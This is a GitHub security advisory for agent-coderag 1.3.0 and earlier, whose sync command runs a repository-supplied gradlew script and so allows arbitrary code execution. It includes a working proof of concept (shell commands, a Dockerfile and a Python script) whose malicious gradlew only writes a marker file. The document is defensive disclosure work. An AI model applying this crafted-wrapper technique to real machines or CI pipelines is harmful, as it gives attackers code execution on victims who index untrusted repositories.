Skip to content

agent-coderag: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution

High severity GitHub Reviewed Published Jun 18, 2026 in naranor/agent-coderag • Updated Jun 19, 2026

Package

pip agent-coderag (pip)

Affected versions

<= 1.3.0

Patched versions

1.3.1

Description

Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution

Summary

agent-coderag unconditionally executes a repository-controlled gradlew script during its default sync dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing build.gradle and a crafted gradlew) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default agent-coderag sync <path> invocation.

Details

The vulnerability exists across a four-step call chain in the sync command:

1. Entry point — code_rag/entry/cli.py:70

await manager.sync_dependencies(args.path or ".")

sync_dependencies() is called unconditionally before indexing. There is no opt-in flag; any agent-coderag sync invocation triggers dependency discovery.

2. Gradle project detection — code_rag/core/manager.py:40-47

The presence of a build.gradle or build.gradle.kts file in the target directory is sufficient to invoke _sync_gradle(). No additional checks are performed.

3. Wrapper selection — code_rag/core/manager.py:110-113

gradle_wrapper = root / ("gradlew.bat" if os.name == "nt" else "gradlew")
gradle_bin: Optional[str] = None
if gradle_wrapper.exists():
    gradle_bin = str(gradle_wrapper.resolve())
else:
    gradle_bin = shutil.which("gradle")

When a repository-local gradlew exists, it is unconditionally preferred over the system-installed gradle. No content validation, signature check, or integrity verification is performed on this file.

4. Execution sink — code_rag/core/manager.py:152-158

process = await asyncio.create_subprocess_exec(
    gradle_bin,
    "-q",
    "--init-script",
    str(init_script),
    "printCodeRagCP",
    cwd=str(root),
    ...
)

The attacker-controlled gradlew is executed directly via asyncio.create_subprocess_exec() with the repository root as the working directory. validate_path (code_rag/core/utils.py:7-71) only constrains the path location (directory boundary), not the content or nature of the executed binary.

The complete data flow: cli.py:277 (path input) → cli.py:313-314 (sync_cmd) → cli.py:62 (validate_path) → cli.py:70 (sync_dependencies) → manager.py:40-47 (_sync_gradle) → manager.py:110-113 (wrapper selection) → manager.py:152-158 (execution sink).

PoC

Environment setup:

python3 -m venv /tmp/acr-venv
. /tmp/acr-venv/bin/activate
pip install agent-coderag==1.3.0

rm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker
mkdir -p /tmp/acr-evil

Build the malicious repository:

# Trigger _sync_gradle() detection
printf 'plugins { id "java" }\n' > /tmp/acr-evil/build.gradle

# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly
printf '#!/bin/sh\nprintf CODERAG_RCE_SUCCESS > /tmp/agent-coderag-poc-marker\nexit 0\n' \
    > /tmp/acr-evil/gradlew
chmod +x /tmp/acr-evil/gradlew

Trigger the vulnerability (victim action):

agent-coderag --db /tmp/acr.db sync /tmp/acr-evil

Verify exploitation:

cat /tmp/agent-coderag-poc-marker
# Expected output: CODERAG_RCE_SUCCESS

Docker-based reproduction (as confirmed in Phase 2):

# Build image from repository root
docker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .

# Run PoC — exits 0 on successful exploitation
docker run --rm agent-coderag-vuln001

Phase 2 dynamic reproduction confirmed the following output:

[*] Evil repo created at /tmp/acr-evil-i560afcg
    build.gradle : 22 bytes
    gradlew      : 275 bytes  (executable=True)
[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg
[*] agent-coderag exit code : 0
[PASS] Exploit confirmed.
       Marker file : /tmp/acr-poc-marker
       Contents    : 'CODERAG_RCE_SUCCESS'
       The malicious gradlew was executed by agent-coderag during sync.

Impact

This is an Arbitrary Code Execution (ACE) vulnerability triggered by a local attack vector. Any user who runs agent-coderag sync against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.

Typical impacted scenarios include:

  • A developer cloning an untrusted repository and running agent-coderag sync to index it for AI-assisted code analysis.
  • A CI/CD pipeline that automatically indexes pull-request branches containing a crafted gradlew.
  • Any tooling or script that passes arbitrary paths to agent-coderag sync without user oversight.

Because the vulnerable component (agent-coderag) is a code-indexing tool intended to read repositories, victims have no expectation that indexing will execute files within the repository. This trust-boundary violation (reflected in the CVSS S:C — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

LABEL description="VULN-001 PoC: agent-coderag gradlew RCE reproduction"

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \
    && rm -rf /var/lib/apt/lists/*

# Install agent-coderag from local repo source (pinned to vulnerable commit)
COPY repo/ /app/repo/
RUN pip install --no-cache-dir /app/repo/

# Copy PoC script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

"""
PoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution

Vulnerability:
    agent-coderag `sync` command calls sync_dependencies() unconditionally.
    When the target directory contains a build.gradle file, _sync_gradle() is triggered.
    _sync_gradle() prefers a repository-local ./gradlew over the system gradle binary.
    The repository-controlled gradlew is executed via asyncio.create_subprocess_exec()
    without any content validation, enabling arbitrary code execution.

Data flow (source → sink):
    cli.py:70  → manager.sync_dependencies()
    manager.py:46 → _sync_gradle()
    manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve())  [untrusted file]
    manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...)  [sink]

Expected outcome:
    The malicious gradlew writes a marker to /tmp/acr-poc-marker.
    If that file contains "CODERAG_RCE_SUCCESS", the exploit is confirmed.
"""

import asyncio
import os
import shutil
import stat
import subprocess
import sys
import tempfile
from pathlib import Path


MARKER_PATH = "/tmp/acr-poc-marker"
DB_PATH = "/tmp/acr-poc.db"

MALICIOUS_GRADLEW = """\
#!/bin/sh
# Malicious gradlew: writes a proof-of-exploitation marker and simulates
# enough Gradle output for agent-coderag to continue without error.
printf 'CODERAG_RCE_SUCCESS' > /tmp/acr-poc-marker
# Output a fake empty classpath so the tool does not log an error
exit 0
"""

BUILD_GRADLE = "plugins { id 'java' }\n"


def setup_evil_repo(directory: str) -> None:
    """Create a minimal attacker-controlled Gradle repository."""
    repo_path = Path(directory)
    repo_path.mkdir(parents=True, exist_ok=True)

    # build.gradle triggers _sync_gradle() in manager.py:46
    (repo_path / "build.gradle").write_text(BUILD_GRADLE)

    # gradlew will be executed by manager.py:152 instead of system gradle
    gradlew = repo_path / "gradlew"
    gradlew.write_text(MALICIOUS_GRADLEW)
    gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)

    print(f"[*] Evil repo created at {directory}")
    print(f"    build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes")
    print(f"    gradlew      : {gradlew.stat().st_size} bytes  (executable={os.access(gradlew, os.X_OK)})")


def run_agent_coderag(evil_repo: str) -> subprocess.CompletedProcess:
    """Invoke agent-coderag sync against the malicious repository."""
    cmd = ["agent-coderag", "--db", DB_PATH, "sync", evil_repo]
    print(f"[*] Running: {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
    return result


def check_marker() -> str | None:
    """Return the marker content if it was written by the malicious gradlew."""
    try:
        return Path(MARKER_PATH).read_text()
    except FileNotFoundError:
        return None


def main() -> int:
    # Clean up any leftovers from a previous run
    for path in (MARKER_PATH, DB_PATH):
        if os.path.exists(path):
            os.remove(path)

    evil_repo = tempfile.mkdtemp(prefix="acr-evil-")
    try:
        # Step 1 — build the attacker-controlled repository
        setup_evil_repo(evil_repo)

        # Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo)
        result = run_agent_coderag(evil_repo)
        print(f"[*] agent-coderag exit code : {result.returncode}")
        if result.stdout:
            print(f"[*] stdout:\n{result.stdout.rstrip()}")
        if result.stderr:
            print(f"[*] stderr:\n{result.stderr.rstrip()}")

        # Step 3 — verify the marker was written by the malicious gradlew
        marker_content = check_marker()
        if marker_content and "CODERAG_RCE_SUCCESS" in marker_content:
            print("\n[PASS] Exploit confirmed.")
            print(f"       Marker file : {MARKER_PATH}")
            print(f"       Contents    : {marker_content!r}")
            print("       The malicious gradlew was executed by agent-coderag during sync.")
            return 0
        else:
            print("\n[FAIL] Marker file not found or does not contain the expected string.")
            print(f"       Expected : 'CODERAG_RCE_SUCCESS'")
            print(f"       Got      : {marker_content!r}")
            return 1
    finally:
        shutil.rmtree(evil_repo, ignore_errors=True)


if __name__ == "__main__":
    sys.exit(main())

References

@naranor naranor published to naranor/agent-coderag Jun 18, 2026
Published to the GitHub Advisory Database Jun 19, 2026
Reviewed Jun 19, 2026
Last updated Jun 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-wg5p-8h9p-3mr7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.